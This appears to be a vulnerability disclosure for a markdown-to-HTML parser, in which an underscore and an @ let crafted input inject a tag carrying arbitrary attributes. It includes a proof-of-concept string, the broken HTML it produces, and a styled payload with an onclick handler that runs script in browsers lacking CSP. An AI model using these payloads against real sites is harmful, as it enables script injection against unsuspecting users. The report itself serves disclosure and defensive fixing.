Markdown parsing issue enables insertion of malicious tags and event handlers

How it was found

When markdown is being presented as HTML, there seems to be a strange interaction between _ and @ that lets an attacker insert malicious tags.

Proof of Concept

_http://[email protected] foo=bar

is rendered converted to the following HTML:

<p><u><a title="http://danlec" href="http://danlec">http://danlec<[email protected] foo=bar</p>

As you can see, the output includes a <[email protected] tag that I can add arbitrary attributes (including event handlers) to. (There's also an unterminated <u> tag which can cause subsequent content to be underlined)

Security Implications

I can use style to make this tag into a block element, and (if you're using a browser without CSP support for some reason) I can use an onmouseover or onclick event handler to execute script. (An attacker might make the malicious tag appear to be a link to a "proof of concept that only works in IE")

This input might look like this:

_http://[email protected] style=background-image:url(... data uri ...);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//

which is currently rendered as below. Clicking on the "Oh No!" image in a browser like IE11 will cause script to execute.

http://danlec@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//